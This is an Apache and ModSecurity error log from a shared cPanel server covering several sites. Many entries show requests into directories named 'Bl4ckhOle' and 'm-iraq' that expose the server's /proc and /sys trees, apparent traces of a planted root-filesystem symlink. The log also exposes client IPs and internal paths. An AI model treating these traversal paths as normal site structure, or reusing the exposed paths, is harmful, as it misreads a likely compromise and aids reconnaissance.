[Fri Jul 17 09:39:19.022400 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:19.733188 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:20.643450 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:20.643529 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:20.643571 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:21.648849 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:22.411145 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:23.777749 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:36104] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:24.405841 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/tty13/uevent"] [unique_id "almq9I-0g_VSPeIeFN3IngAAAAs"]
[Fri Jul 17 09:39:24.405902 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/tty13/uevent"] [unique_id "almq9I-0g_VSPeIeFN3IngAAAAs"]
[Fri Jul 17 09:39:24.736331 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almq9LEWOaI5pmYo9fnXJQAAAAA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1221&page_105=1937
[Fri Jul 17 09:39:24.736388 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almq9LEWOaI5pmYo9fnXJQAAAAA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1221&page_105=1937
[Fri Jul 17 09:39:24.773872 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:36154] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:24.890602 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:25.004526 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:36180] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:25.333634 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:25.801209 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:36218] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:27.624453 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:29.248580 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:36332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:30.797933 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/usb1/power/control"] [unique_id "almq-q14q1EBnanVMYGsTwAAAAk"]
[Fri Jul 17 09:39:30.797974 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/usb1/power/control"] [unique_id "almq-q14q1EBnanVMYGsTwAAAAk"]
[Fri Jul 17 09:39:33.299677 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:51/subsystem/tty45/power/control"] [unique_id "almq_a14q1EBnanVMYGsUgAAAAk"]
[Fri Jul 17 09:39:33.299709 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:51/subsystem/tty45/power/control"] [unique_id "almq_a14q1EBnanVMYGsUgAAAAk"]
[Fri Jul 17 09:39:33.391997 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:25/subsystem/tty58/power/runtime_status"] [unique_id "almq_QRRrtuZqNDDSqW4CQAAABo"]
[Fri Jul 17 09:39:33.392051 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:25/subsystem/tty58/power/runtime_status"] [unique_id "almq_QRRrtuZqNDDSqW4CQAAABo"]
[Fri Jul 17 09:39:33.732988 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:45292] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:33.937999 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:34.082034 2026] [core:error] [pid 2050580:tid 2050580] (13)Permission denied: [client 57.141.18.15:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory132/node0/memory123/node0/memory40/node0/compact
[Fri Jul 17 09:39:34.595377 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:34.964199 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:45348] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:35.179187 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:35.226725 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:35.427637 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory65/subsystem/devices/memory60/subsystem/devices/memory72/node0/cpu3/node0/memory49/"] [unique_id "almq_4e39YUk0SgV8AVCYAAAABE"]
[Fri Jul 17 09:39:35.427673 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory65/subsystem/devices/memory60/subsystem/devices/memory72/node0/cpu3/node0/memory49/"] [unique_id "almq_4e39YUk0SgV8AVCYAAAABE"]
[Fri Jul 17 09:39:35.543052 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:35.635864 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:35.918906 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.107074 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.202990 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.386156 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476654 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476733 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476770 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476805 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476825 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476865 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476897 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476917 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476937 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476967 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.476984 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477028 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477094 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477123 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477143 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477163 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477193 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477211 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477231 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477248 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477265 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477285 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477304 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477323 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477343 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477362 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477381 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477397 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477459 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477505 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:36.477531 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:37.529526 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:37.769182 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:45454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:38.472696 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:39.628189 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:40.277462 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:41.289782 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:48454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:41.493011 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:48464] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:41.695097 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:43.821128 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:48576] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:45.982789 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:48692] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:47.632216 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:48778] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:47.949272 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/renice"] [unique_id "almrC7oj0IkvhSCYadmKHQAAAAQ"]
[Fri Jul 17 09:39:47.949661 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/renice"] [unique_id "almrC7oj0IkvhSCYadmKHQAAAAQ"]
[Fri Jul 17 09:39:47.950083 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/renice"] [unique_id "almrC7oj0IkvhSCYadmKHQAAAAQ"]
[Fri Jul 17 09:39:48.486348 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:48818] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:48.583510 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:48842] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:49.563013 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:39:49.965071 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:48910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:49.978052 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:48912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:50.249332 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrDoe39YUk0SgV8AVCdgAAABE"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:39:50.249459 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrDoe39YUk0SgV8AVCdgAAABE"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:39:51.651928 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:46172] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:52.525656 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 57.141.18.69:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory93/subsystem/devices/memory108/subsystem/devices/memory35/subsystem/uevent
[Fri Jul 17 09:39:54.060062 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrEk_0b3nWp8txtSDFDwAAAA0"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:39:54.060099 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrEk_0b3nWp8txtSDFDwAAAA0"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:39:54.862505 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:46370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:39:56.591742 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/block/vda/bdi/max_ratio"] [unique_id "almrFCRF0UOO1RzB5_82ogAAAA4"]
[Fri Jul 17 09:39:56.591797 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/block/vda/bdi/max_ratio"] [unique_id "almrFCRF0UOO1RzB5_82ogAAAA4"]
[Fri Jul 17 09:39:57.678448 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrFVh1WDijTxd1xw5UZgAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:39:57.678486 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrFVh1WDijTxd1xw5UZgAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:40:03.861522 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:42652] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:04.716635 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/tty63/uevent"] [unique_id "almrHFh1WDijTxd1xw5UbQAAAAc"]
[Fri Jul 17 09:40:04.716695 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/tty63/uevent"] [unique_id "almrHFh1WDijTxd1xw5UbQAAAAc"]
[Fri Jul 17 09:40:05.661065 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:06.086815 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:06.088087 2026] [security2:error] [pid 2030955:tid 2030955] [client 47.82.54.214:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:0/subsystem/tty3/subsystem/tty0/"] [unique_id "almrHvwooI4qY7Jg93pdnQAAABM"]
[Fri Jul 17 09:40:06.088114 2026] [security2:error] [pid 2030955:tid 2030955] [client 47.82.54.214:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:0/subsystem/tty3/subsystem/tty0/"] [unique_id "almrHvwooI4qY7Jg93pdnQAAABM"]
[Fri Jul 17 09:40:06.555435 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/device/subsystem/event3/uevent"] [unique_id "almrHrEWOaI5pmYo9fnXSQAAAAA"]
[Fri Jul 17 09:40:06.555473 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/device/subsystem/event3/uevent"] [unique_id "almrHrEWOaI5pmYo9fnXSQAAAAA"]
[Fri Jul 17 09:40:07.588847 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:19/subsystem/tty27/uevent"] [unique_id "almrH4l9vhFBGA6D8l-CvgAAAAw"]
[Fri Jul 17 09:40:07.588907 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:19/subsystem/tty27/uevent"] [unique_id "almrH4l9vhFBGA6D8l-CvgAAAAw"]
[Fri Jul 17 09:40:07.672389 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:07.685632 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:09.388174 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:10.116693 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:10.542236 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almrITsMb3am0TgkjETjDQAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1109&page_105=1617
